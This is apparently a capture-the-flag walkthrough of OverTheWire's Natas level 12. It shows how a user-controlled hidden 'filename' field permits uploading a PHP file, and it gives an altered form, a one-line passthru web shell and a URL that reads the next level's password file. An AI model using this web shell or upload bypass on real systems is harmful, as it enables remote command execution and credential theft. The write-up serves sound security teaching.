In this post we’re going to be looking at Level 12 of the Natas wargame, hosted by Over The Wire.
What’s Going On?
Loading up the level 12 page, we’re presented with two buttons, a prompt, and the classic link to the PHP source code. From the prompt, it looks like this page is going to let us upload a .jpg file. We could test it out, but let’s check through the source code first to understand what is happening.
While we guessed about the file upload HTML form, we can see it’s code in the bottom of the PHP file to verify. Let’s look at it in detail and see what data it sends to the server. We can see that there is a max file size, filename, the file, and a submit button. All of these send data to the server on submit. Now let’s go a head and look at the PHP code.
Starting at the top we see a function which generates a random 10 character string, called genRandomString(). Next we see the makeRandomPath() function which takes two arguments, a directory and a file extension, and makes a path by using the genRandomString() function and concatenating all these together in the form dir/RandomString.ext. Moving on, we see the final defined function, makeRandomPathFromFilename(). This function takes a directory and a filename, takes the extension off of the filename, submits the directory and extension to makeRandomPath(), and finally returns the results. Now that we’ve seen our custom functions for this level, lets look at the rest of the PHP code.
The active PHP code that pulls these functions together comes next. First we see a check for the existence of the array key “filename” in the POST section, checking for a file upload. If it exists, a target_path variable is assigned the return value from makeRandomPathFromFilename(“upload”, $_POST[“filename”]). Looking at this, we can recognize two things. One is that the directory that the file will be uploaded to is the “upload” directory, located in the current directory. The second thing to note is that the filename passed to the makeRandomPathFromFilename() function is that of the hidden “filename” field in the HTML form section of the page, and is potentially something we could change (since it is user supplied after all). Next we see a check to make sure the file is under a certain size and if it is, the file is moved to the target_path and a link to it is displayed on the screen. So how can we use this as a vector of attack, to read the contents of the password file for the next level?
Exploit
As we previously stated, if a file is uploaded we will be given a link to it. Thus, we don’t have to worry about the random name given to files. However, what we do have to worry about, is how to upload a file other than a jpeg. Again, as stated as an interesting point above, the file extension is obtained through the value of the “filename” key in the POST request. This comes from the hidden filename field in the form. To change the value of what is submitted through the form, we can download the HTML page onto our local machine and make a couple of changes to it. First, we should change the value of the “filename” field to something ending in .php. Second, we have to include the full URL of the index.php page in the action section of the form declaration. Lets look at the altered HTML file we will save and view locally to upload our file:
<html>
<head><link rel=”stylesheet” type=”text/css” href=”http://www.overthewire.org/wargames/natas/level.css”></head>
<body>
<h1>natas12</h1>
<div id=”content”><form enctype=”multipart/form-data” action=”http://natas12.natas.labs.overthewire.org/index.php” method=”POST”>
<input type=”hidden” name=”MAX_FILE_SIZE” value=”1000″ />
<input type=”hidden” name=”filename” value=”8r9a7rmqez.php” />
Choose a JPEG to upload (max 1KB):<br/>
<input name=”uploadedfile” type=”file” /><br />
<input type=”submit” value=”Upload File” />
</form>
<div id=”viewsource”><a href=”index-source.html”>View sourcecode</a></div>
</div>
</body>
</html>
Open the above file in our web browser (with which you have already logged into the natas12 site). Choosing a PHP file and submitting it will now result in the file being uploaded, and uploaded with the correct extension, ensuring it is parsed through the PHP interpreter. Now that we can upload a PHP file and get a link to it’s location, let’s figure out what type of PHP file we might want to upload, and what we might want it to do. Ideally, we would want to upload a PHP file which passes a variable value to the shell and returns the result. This provides the most access possible, including access to what we need to do, read the password file. An example PHP file might be:
<?php
passthru($_GET[“h”]);
?>
This simple file does all we need. It passes the “h” variable value from the GET part of the HTTP request straight to the command line and returns it’s value to us. If we choose to upload this file from our local altered natas12 form, we should see a message saying the file was uploaded and giving us a link to it. Once we get the link we just have to go to that location, and append our command via the URL parameters. An example URL for viewing the password file for the next level would be http://natas12.natas.labs.overthewire.org/upload/abcdefghij.php?h=more%20/etc/natas_webpass/natas13.
So What?
File uploading is inherently difficult as you cannot trust your users, but must let them place information on your system. The main downfall of this level is the fact that the final extension used was from a value provided from a user. If the upload script statically assigned a .jpg value to the end of file names, this problem wouldn’t have existed. So again, the moral is being very careful with user provided information and how it is used!